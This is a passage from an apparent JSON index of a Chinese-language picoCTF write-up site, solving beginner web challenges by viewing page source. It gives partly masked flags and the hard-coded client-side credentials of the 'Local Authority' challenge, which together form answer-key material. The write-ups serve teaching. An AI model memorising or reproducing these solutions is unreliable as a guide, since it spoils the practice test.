src=\"/posts/web-exploitation/includes/image.webp\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003elightblue\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  picoCTF{1nc--------------  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003egreetings\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003ealert\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;This code is in a separate file!\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//  --------------022}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"Includes"},{"content":"題目連結 https://learn.cylabacademy.org/library/275\n題目解法 啟動網站並前往後，按下 F12 (開發者工具) 或是 Ctrl + U (查看網頁原始碼)，即可看到完整的 Flag。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;ie=edge\u0026#34;\u0026gt; \u0026lt;title\u0026gt;On Histiaeus\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;On Histiaeus\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;However, according to Herodotus, Histiaeus was unhappy having to stay in Susa, and made plans to return to his position as King of Miletus by instigating a revolt in Ionia. In 499 BC, he shaved the head of his most trusted slave, tattooed a message on his head, and then waited for his hair to grow back. The slave was then sent to Aristagoras, who was instructed to shave the slave\u0026#39;s head again and read the message, which told him to revolt against the Persians.\u0026lt;/p\u0026gt; \u0026lt;br\u0026gt; \u0026lt;p\u0026gt; Source: Wikipedia on Histiaeus \u0026lt;/p\u0026gt; \u0026lt;!--picoCTF{1n5-------------------25b}--\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/inspect-html/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/275\"\u003ehttps://learn.cylabacademy.org/library/275\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動網站並前往後，按下 F12 (開發者工具) 或是 Ctrl + U (查看網頁原始碼)，即可看到完整的 Flag。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u0026lt;!DOCTYPE html\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elang\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;en\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echarset\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;viewport\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003econtent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehttp-equiv\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;X-UA-Compatible\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003econtent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ie=edge\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;On Histiaeus\u0026lt;/\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;On Histiaeus\u0026lt;/\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;However, according to Herodotus, Histiaeus was unhappy having to stay in\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       Susa, and made plans to return to his position as King of Miletus by \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       instigating a revolt in Ionia. In 499 BC, he shaved the head of his \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       most trusted slave, tattooed a message on his head, and then waited for \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       his hair to grow back. The slave was then sent to Aristagoras, who was \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       instructed to shave the slave\u0026#39;s head again and read the message, which \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       told him to revolt against the Persians.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003ebr\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt; Source: Wikipedia on Histiaeus \u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e\u0026lt;!--picoCTF{1n5-------------------25b}--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;/\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"Inspect HTML"},{"content":"題目連結 https://learn.cylabacademy.org/library/278\n題目解法 啟動網站後隨意輸入一組帳密後顯示 Log In Failed，查看網頁原始碼，可以發現有剛剛輸入的帳號密碼以及一個 secure.js 的 javascript 檔案。仔細看可以發現底下 script 會呼叫一個 checkPassword 來檢查是否登入成功，但是當前頁面中沒有，點擊 secure.js 查看。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;ie=edge\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;style.css\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Login Page\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script src=\u0026#34;secure.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;p id=\u0026#39;msg\u0026#39;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;form hidden action=\u0026#34;admin.php\u0026#34; method=\u0026#34;post\u0026#34; id=\u0026#34;hiddenAdminForm\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;hash\u0026#34; required id=\u0026#34;adminFormHash\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function filter(string) { filterPassed = true; for (let i =0; i \u0026lt; string.length; i++){ cc = string.charCodeAt(i); if ( (cc \u0026gt;= 48 \u0026amp;\u0026amp; cc \u0026lt;= 57) || (cc \u0026gt;= 65 \u0026amp;\u0026amp; cc \u0026lt;= 90) || (cc \u0026gt;= 97 \u0026amp;\u0026amp; cc \u0026lt;= 122) ) { filterPassed = true; } else { return false; } } return true; } window.username = \u0026#34;admin\u0026#34;; window.password = \u0026#34;password\u0026#34;; usernameFilterPassed = filter(window.username); passwordFilterPassed = filter(window.password); if ( usernameFilterPassed \u0026amp;\u0026amp; passwordFilterPassed ) { loggedIn = checkPassword(window.username, window.password); if(loggedIn) { document.getElementById(\u0026#39;msg\u0026#39;).innerHTML = \u0026#34;Log In Successful\u0026#34;; document.getElementById(\u0026#39;adminFormHash\u0026#39;).value = \u0026#34;2196812e91c29df34f5e217cfd639881\u0026#34;; document.getElementById(\u0026#39;hiddenAdminForm\u0026#39;).submit(); } else { document.getElementById(\u0026#39;msg\u0026#39;).innerHTML = \u0026#34;Log In Failed\u0026#34;; } } else { document.getElementById(\u0026#39;msg\u0026#39;).innerHTML = \u0026#34;Illegal character in username or password.\u0026#34; } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 點開 secure.js 查看為以下內容，有包含正確的帳號密碼，輸入即可得到 flag。\n1 2 3 4 5 6 7 8 9 10 11 function checkPassword(username, password) { if( username === \u0026#39;admin\u0026#39; \u0026amp;\u0026amp; password === \u0026#39;strongPassword098765\u0026#39; ) { return true; } else { return false; } } ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/local-authority/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/278\"\u003ehttps://learn.cylabacademy.org/library/278\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動網站後隨意輸入一組帳密後顯示 Log In Failed，查看網頁原始碼，可以發現有剛剛輸入的帳號密碼以及一個 \u003ccode\u003esecure.js\u003c/code\u003e 的 javascript 檔案。仔細看可以發現底下 script 會呼叫一個 \u003ccode\u003echeckPassword\u003c/code\u003e 來檢查是否登入成功，但是當前頁面中沒有，點擊 \u003ccode\u003esecure.js\u003c/code\u003e 查看。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 